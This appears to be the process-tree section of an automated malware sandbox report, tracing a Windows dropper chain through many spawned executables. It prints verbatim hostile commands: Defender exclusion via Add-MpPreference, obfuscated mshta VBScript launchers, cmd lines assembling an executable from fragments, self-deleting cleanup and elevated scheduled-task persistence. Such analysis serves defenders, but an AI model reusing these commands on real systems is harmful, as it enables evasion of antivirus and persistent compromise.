C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,2265558154795366925,3887239283570378394,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4440_1458886601" --mojo-platform-channel-handle=1020 /prefetch:810⤵PID:6768
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"7⤵PID:6680
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵PID:8268
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"7⤵PID:5824
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"7⤵PID:2648
-
-
-
C:\Users\Admin\Pictures\Adobe Films\1ep4L9708UCNAhISRfojtFlI.exe"C:\Users\Admin\Pictures\Adobe Films\1ep4L9708UCNAhISRfojtFlI.exe"6⤵PID:5616
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\1ep4L9708UCNAhISRfojtFlI.exe" & exit7⤵PID:5448
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:8188
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\rxCijRdFiaBbgN_xxC6_fvmK.exe"C:\Users\Admin\Pictures\Adobe Films\rxCijRdFiaBbgN_xxC6_fvmK.exe"6⤵PID:2900
-
-
C:\Users\Admin\Pictures\Adobe Films\ZXhKZQqIb4dYo0L4KlCTWT0m.exe"C:\Users\Admin\Pictures\Adobe Films\ZXhKZQqIb4dYo0L4KlCTWT0m.exe"6⤵PID:1448
-
-
C:\Users\Admin\Pictures\Adobe Films\rybjJ_tCPQpAyev5eWhf1Ua2.exe"C:\Users\Admin\Pictures\Adobe Films\rybjJ_tCPQpAyev5eWhf1Ua2.exe"6⤵PID:5212
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 3127⤵
- Program crash
PID:5756
-
-
-
C:\Users\Admin\Pictures\Adobe Films\RbUZMCdqJGfk1oxXFG8JsSDT.exe"C:\Users\Admin\Pictures\Adobe Films\RbUZMCdqJGfk1oxXFG8JsSDT.exe"6⤵PID:4288
-
-
C:\Users\Admin\Pictures\Adobe Films\aXib7biR2aBmsglKZNWRe8Rh.exe"C:\Users\Admin\Pictures\Adobe Films\aXib7biR2aBmsglKZNWRe8Rh.exe"6⤵PID:372
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\aXib7biR2aBmsglKZNWRe8Rh.exe" & exit7⤵PID:6752
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:8208
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\b6KZDtCoJxw4ngPN9CNSJdzN.exe"C:\Users\Admin\Pictures\Adobe Films\b6KZDtCoJxw4ngPN9CNSJdzN.exe"6⤵PID:5272
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe7⤵PID:3876
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵PID:7112
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 5568⤵
- Program crash
PID:6360
-
-
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe7⤵PID:5260
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"8⤵PID:6408
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\32DjGe18AZkipFG7D63NTY_w.exe"C:\Users\Admin\Pictures\Adobe Films\32DjGe18AZkipFG7D63NTY_w.exe"6⤵PID:5412
-
C:\Users\Admin\AppData\Local\Temp\024b6ff5-5a8c-4344-baa5-43f3838e445d\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\024b6ff5-5a8c-4344-baa5-43f3838e445d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\024b6ff5-5a8c-4344-baa5-43f3838e445d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run7⤵PID:1276
-
C:\Users\Admin\AppData\Local\Temp\024b6ff5-5a8c-4344-baa5-43f3838e445d\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\024b6ff5-5a8c-4344-baa5-43f3838e445d\AdvancedRun.exe" /SpecialRun 4101d8 12768⤵PID:7368
-
-
-
C:\Users\Admin\AppData\Local\Temp\05475757-47d2-4127-b86e-79baf6c9576e\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\05475757-47d2-4127-b86e-79baf6c9576e\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\05475757-47d2-4127-b86e-79baf6c9576e\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run7⤵PID:7184
-
C:\Users\Admin\AppData\Local\Temp\05475757-47d2-4127-b86e-79baf6c9576e\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\05475757-47d2-4127-b86e-79baf6c9576e\AdvancedRun.exe" /SpecialRun 4101d8 71848⤵PID:8076
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\32DjGe18AZkipFG7D63NTY_w.exe" -Force7⤵PID:4920
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\32DjGe18AZkipFG7D63NTY_w.exe" -Force7⤵PID:7816
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force7⤵PID:5228
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\32DjGe18AZkipFG7D63NTY_w.exe" -Force7⤵PID:8076
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force7⤵PID:7524
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\32DjGe18AZkipFG7D63NTY_w.exe" -Force7⤵PID:6968
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"7⤵PID:7856
-
C:\Users\Admin\AppData\Local\Temp\aa7adc6a-abd4-4863-8d01-7e73cf04fc0a\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\aa7adc6a-abd4-4863-8d01-7e73cf04fc0a\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\aa7adc6a-abd4-4863-8d01-7e73cf04fc0a\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run8⤵PID:8668
-
C:\Users\Admin\AppData\Local\Temp\aa7adc6a-abd4-4863-8d01-7e73cf04fc0a\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\aa7adc6a-abd4-4863-8d01-7e73cf04fc0a\AdvancedRun.exe" /SpecialRun 4101d8 86689⤵PID:6628
-
-
-
C:\Users\Admin\AppData\Local\Temp\917ac176-1db0-4944-a319-8d1e30f772e8\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\917ac176-1db0-4944-a319-8d1e30f772e8\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\917ac176-1db0-4944-a319-8d1e30f772e8\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run8⤵PID:9060
-
C:\Users\Admin\AppData\Local\Temp\917ac176-1db0-4944-a319-8d1e30f772e8\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\917ac176-1db0-4944-a319-8d1e30f772e8\AdvancedRun.exe" /SpecialRun 4101d8 90609⤵PID:8908
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force8⤵PID:6768
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force8⤵PID:8768
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force8⤵PID:2848
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force8⤵PID:8876
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force8⤵PID:8588
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force8⤵PID:6732
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"8⤵PID:180
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"8⤵PID:8804
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force7⤵PID:8212
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\32DjGe18AZkipFG7D63NTY_w.exe" -Force7⤵PID:8476
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force7⤵PID:8688
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"7⤵PID:5336
-
-
-
C:\Users\Admin\Pictures\Adobe Films\7vyFP2wT2_a7aUGJP7cnfCLD.exe"C:\Users\Admin\Pictures\Adobe Films\7vyFP2wT2_a7aUGJP7cnfCLD.exe"6⤵PID:5832
-
-
C:\Users\Admin\Pictures\Adobe Films\evqqzJgqpZRrtxmZ75A8gBab.exe"C:\Users\Admin\Pictures\Adobe Films\evqqzJgqpZRrtxmZ75A8gBab.exe"6⤵PID:1796
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\evqqzJgqpZRrtxmZ75A8gBab.exe" & exit7⤵PID:9168
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:6596
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Zvayu8PXPNFnZfHayfvn2g8r.exe"C:\Users\Admin\Pictures\Adobe Films\Zvayu8PXPNFnZfHayfvn2g8r.exe"6⤵PID:5528
-
-
C:\Users\Admin\Pictures\Adobe Films\pwEXTFIvwkqK84pluqJIYf30.exe"C:\Users\Admin\Pictures\Adobe Films\pwEXTFIvwkqK84pluqJIYf30.exe"6⤵PID:4696
-
-
C:\Users\Admin\Pictures\Adobe Films\QYnoeGap8jHV0daCl1u8MKYc.exe"C:\Users\Admin\Pictures\Adobe Films\QYnoeGap8jHV0daCl1u8MKYc.exe"6⤵PID:6932
-
-
C:\Users\Admin\Pictures\Adobe Films\xWUnYn6l3uxoUmKP1us_KhOz.exe"C:\Users\Admin\Pictures\Adobe Films\xWUnYn6l3uxoUmKP1us_KhOz.exe"6⤵PID:1344
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\xWUnYn6l3uxoUmKP1us_KhOz.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\xWUnYn6l3uxoUmKP1us_KhOz.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:7956
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\xWUnYn6l3uxoUmKP1us_KhOz.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\xWUnYn6l3uxoUmKP1us_KhOz.exe" ) do taskkill -im "%~NxK" -F8⤵PID:7760
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP9⤵PID:5832
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )10⤵PID:4664
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F11⤵PID:8164
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )10⤵PID:7384
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY11⤵PID:10156
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "12⤵PID:9700
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"12⤵PID:4256
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY12⤵PID:1924
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "xWUnYn6l3uxoUmKP1us_KhOz.exe" -F9⤵
- Kills process with taskkill
PID:6480
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue195c40958f528163.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue195c40958f528163.exeTue195c40958f528163.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4124
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19f51bcd77a.exe4⤵PID:3816
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19f51bcd77a.exeTue19f51bcd77a.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5068
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19c06f159e0ec.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19c06f159e0ec.exeTue19c06f159e0ec.exe5⤵
- Executes dropped EXE
PID:1884
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19879c4c0e.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19879c4c0e.exeTue19879c4c0e.exe5⤵
- Executes dropped EXE
PID:5024
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1993b3f72c.exe4⤵PID:4324
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue1993b3f72c.exeTue1993b3f72c.exe5⤵
- Executes dropped EXE
PID:2748
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue192762f1cd058ddf8.exe4⤵PID:5032
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue192762f1cd058ddf8.exeTue192762f1cd058ddf8.exe5⤵
- Executes dropped EXE
PID:1464 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1464 -s 14246⤵
- Program crash
PID:5936
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19411ac950924ec3f.exe4⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19411ac950924ec3f.exeTue19411ac950924ec3f.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1332 -
C:\Users\Admin\AppData\Roaming\2474397.exe"C:\Users\Admin\AppData\Roaming\2474397.exe"6⤵
- Executes dropped EXE
PID:3092
-
-
C:\Users\Admin\AppData\Roaming\3856993.exe"C:\Users\Admin\AppData\Roaming\3856993.exe"6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4112
-
-
C:\Users\Admin\AppData\Roaming\2670515.exe"C:\Users\Admin\AppData\Roaming\2670515.exe"6⤵
- Executes dropped EXE
PID:2736
-
-
C:\Users\Admin\AppData\Roaming\2484458.exe"C:\Users\Admin\AppData\Roaming\2484458.exe"6⤵PID:2616
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\2484458.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\2484458.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))7⤵PID:952
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\2484458.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\2484458.exe" ) do taskkill -f -Im "%~NXZ"8⤵PID:3764
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i9⤵PID:6132
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))10⤵PID:6108
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"11⤵PID:5292
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )10⤵PID:6920
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *11⤵PID:7660
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "12⤵PID:8132
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"12⤵PID:5336
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K12⤵PID:5428
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K13⤵PID:7572
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "2484458.exe"9⤵
- Kills process with taskkill
PID:5572
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\2798611.exe"C:\Users\Admin\AppData\Roaming\2798611.exe"6⤵PID:3888
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:1260
-
-
-
C:\Users\Admin\AppData\Roaming\1984951.exe"C:\Users\Admin\AppData\Roaming\1984951.exe"6⤵PID:4980
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1969586bcbf58493.exe4⤵PID:3508
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue1969586bcbf58493.exeTue1969586bcbf58493.exe5⤵
- Executes dropped EXE
PID:3376 -
C:\Users\Admin\Pictures\Adobe Films\amCPeABunMjuTXafDzpkuWWV.exe"C:\Users\Admin\Pictures\Adobe Films\amCPeABunMjuTXafDzpkuWWV.exe"6⤵PID:1540
-
-
C:\Users\Admin\Pictures\Adobe Films\POPNH7MCrIFevBZE8adCckpa.exe"C:\Users\Admin\Pictures\Adobe Films\POPNH7MCrIFevBZE8adCckpa.exe"6⤵PID:6732
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:2892
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:8816
-
-
C:\Users\Admin\Documents\vUnFbtLWmwcNfyuNdMsM1ufH.exe"C:\Users\Admin\Documents\vUnFbtLWmwcNfyuNdMsM1ufH.exe"7⤵PID:3800
-
C:\Users\Admin\Pictures\Adobe Films\hSv0eTLFzTtngEmLbJrjwuQN.exe"C:\Users\Admin\Pictures\Adobe Films\hSv0eTLFzTtngEmLbJrjwuQN.exe"8⤵PID:10168
-
-
C:\Users\Admin\Pictures\Adobe Films\Cwf7r_u6yqTHmoINnsOJSqXt.exe"C:\Users\Admin\Pictures\Adobe Films\Cwf7r_u6yqTHmoINnsOJSqXt.exe"8⤵PID:7592
-
-
C:\Users\Admin\Pictures\Adobe Films\aa46cTNMY9Ov9N_jyVTtX7hf.exe"C:\Users\Admin\Pictures\Adobe Films\aa46cTNMY9Ov9N_jyVTtX7hf.exe"8⤵PID:8484
-
-
C:\Users\Admin\Pictures\Adobe Films\jTWztgGXCqJ1Oe549AHwcbWT.exe"C:\Users\Admin\Pictures\Adobe Films\jTWztgGXCqJ1Oe549AHwcbWT.exe"8⤵PID:3672
-
-
C:\Users\Admin\Pictures\Adobe Films\jctDGBT7KAZv6mZauPmUShSO.exe"C:\Users\Admin\Pictures\Adobe Films\jctDGBT7KAZv6mZauPmUShSO.exe"8⤵PID:6572
-
-
C:\Users\Admin\Pictures\Adobe Films\tpWOP66vOpRquueUM3NmeLFX.exe"C:\Users\Admin\Pictures\Adobe Films\tpWOP66vOpRquueUM3NmeLFX.exe"8⤵PID:2692
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\tpWOP66vOpRquueUM3NmeLFX.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\tpWOP66vOpRquueUM3NmeLFX.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵PID:6028
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\tpWOP66vOpRquueUM3NmeLFX.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\tpWOP66vOpRquueUM3NmeLFX.exe" ) do taskkill -f -iM "%~NxM"10⤵PID:6004
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "tpWOP66vOpRquueUM3NmeLFX.exe"11⤵
- Kills process with taskkill
PID:6976
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\cDqVCkyKhs2LvkRgpaX7EZ6d.exe"C:\Users\Admin\Pictures\Adobe Films\cDqVCkyKhs2LvkRgpaX7EZ6d.exe"8⤵PID:9544
-
-
C:\Users\Admin\Pictures\Adobe Films\k8sVy1r0XhbFWqstPc38m0Zz.exe"C:\Users\Admin\Pictures\Adobe Films\k8sVy1r0XhbFWqstPc38m0Zz.exe"8⤵PID:9488
-
